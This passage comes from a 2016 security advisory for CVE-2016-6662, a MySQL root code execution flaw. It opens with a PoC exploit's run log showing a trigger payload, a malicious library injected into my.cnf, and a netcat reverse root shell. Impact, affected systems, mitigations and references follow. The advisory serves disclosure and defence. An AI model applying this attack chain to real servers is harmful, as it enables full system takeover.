'p0cpass!' -dbhost 192.168.1.10 -dbname pocdb -mycnf /etc/mysql/my.cnf 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0) (CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit For testing purposes only. Do no harm. Discovered/Coded by: Dawid Golunski http://legalhackers.com [+] Connecting to target server 192.168.1.10 and target mysql account '[email protected]' using DB 'pocdb' [+] The account in use has the following grants/perms: GRANT FILE ON *.* TO 'attacker'@'%' IDENTIFIED BY PASSWORD <secret> GRANT SELECT, INSERT, CREATE ON `pocdb`.* TO 'attacker'@'%' [+] Compiling mysql_hookandroot_lib.so [+] Converting mysql_hookandroot_lib.so into HEX [+] Saving trigger payload into /var/lib/mysql/pocdb/poctable.TRG [+] Dumping shared library into /var/lib/mysql/mysql_hookandroot_lib.so file on the target [+] Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded [+] Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config /etc/mysql/my.cnf [+] Showing the contents of /etc/mysql/my.cnf config to verify that our setting (malloc_lib) got injected [mysql] #no-auto-rehash # faster start of mysql but no tab completition [isamchk] key_buffer = 16M !includedir /etc/mysql/conf.d/ /usr/sbin/mysqld, Version: 5.5.50-0+deb8u1 ((Debian)). started with: Tcp port: 3306 Unix socket: /var/run/mysqld/mysqld.sock Time Id Command Argument 160912 8:48:41 44 Query select " # 0ldSQL_MySQL_RCE_exploit got here :) [mysqld] malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so' [abyss] " INTO void 44 Query SET global general_log = off [+] Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :) [+] Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :) listening on [any] 6033 ... connect to [192.168.1.20] from dbserver [192.168.1.10] 36932 bash: cannot set terminal process group (963): Inappropriate ioctl for device bash: no job control in this shell root@debian:/# id id uid=0(root) gid=0(root) groups=0(root) root@debian:/# ls -l /root/root_via_mysql ---------- 1 root root 0 Sep 10 22:50 /root/root_via_mysql root@debian:/# exit exit exit [+] Shell closed. Hope you had fun. [+] Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;) [+] Exiting (code: 0) ``` VII. BUSINESS IMPACT ------------------------- As discussed above the vulnerability could be exploited by attackers with both privileged and unprivileged (with FILE privilege only) access to mysql accounts. It could also be combined with CVE-2016-6663 vulnerability which will be released shortly and could allow certain attackers to escalate their privileges to root even without FILE privilege. The vulnerability could also be exploited via an SQL injection vector, which removes the need for the attackers to have direct mysql connection and increases the risk of exploitation. Successful exploitation could gain a attacker a remote shell with root privileges which would allow them to fully compromise the remote system. If exploited, the malicious code would run as soon as MySQL daemon gets restarted. MySQL service restart could happen for a number of reasons. VIII. SYSTEMS AFFECTED ------------------------- All MySQL versions from the oldest versions to the latest shown at the beginnig of this advisory. Some systems run MySQL via Systemd and provide direct startup path to mysqld daemon instead of using mysqld_safe wrapper script. These systems however are also at risk as mysqld_safe may be called on update by the installation scripts or some other system services. Because the exploit only accesses files normally used by MySQL server ( such as the config), and the injected library is preloaded by mysqld_safe startup scripta not included within the default policies, the vulnerability can be exploited even if security modules as SELinux and AppArmor are installed with active security policies for the MySQL daemon. IX. VENDOR RESPONSE / SOLUTION ------------------------- The vulnerability was reported to Oracle on 29th of July 2016 and triaged by the security team. It was also reported to the other affected vendors including PerconaDB and MariaDB. The vulnerabilities were patched by PerconaDB and MariaDB vendors by the end of 30th of August. During the course of the patching by these vendors the patches went into public repositories and the fixed security issues were also mentioned in the new releases which could be noticed by malicious attackers. As over 40 days have passed since reporting the issues and patches were already mentioned publicly, a decision was made to start disclosing vulnerabilities (with limited PoC) to inform users about the risks before the vendor's next CPU update that only happens at the end of October. No official patches or mitigations are available at this time from the vendor. As temporary mitigations, users should ensure that no mysql config files are owned by mysql user, and create root-owned dummy my.cnf files that are not in use. These are by no means a complete solution and users should apply official vendor patches as soon as they become available. X. REFERENCES ------------------------- http://legalhackers.com http://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html Source codes from the advisory: http://legalhackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py http://legalhackers.com/exploits/mysql_hookandroot_lib.c https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6662 The old vulnerability fixed in MySQL version 3.23.55: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0150 XI. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com http://legalhackers.com XII. REVISION HISTORY ------------------------- 12.09.2016 - Advisory released publicly as 0day XIII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.
idSSV:92405
last seen2017-11-19
modified2016-09-13
published2016-09-13
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-92405
titleMySQL <= 5.7.15 remote Root code execution vulnerability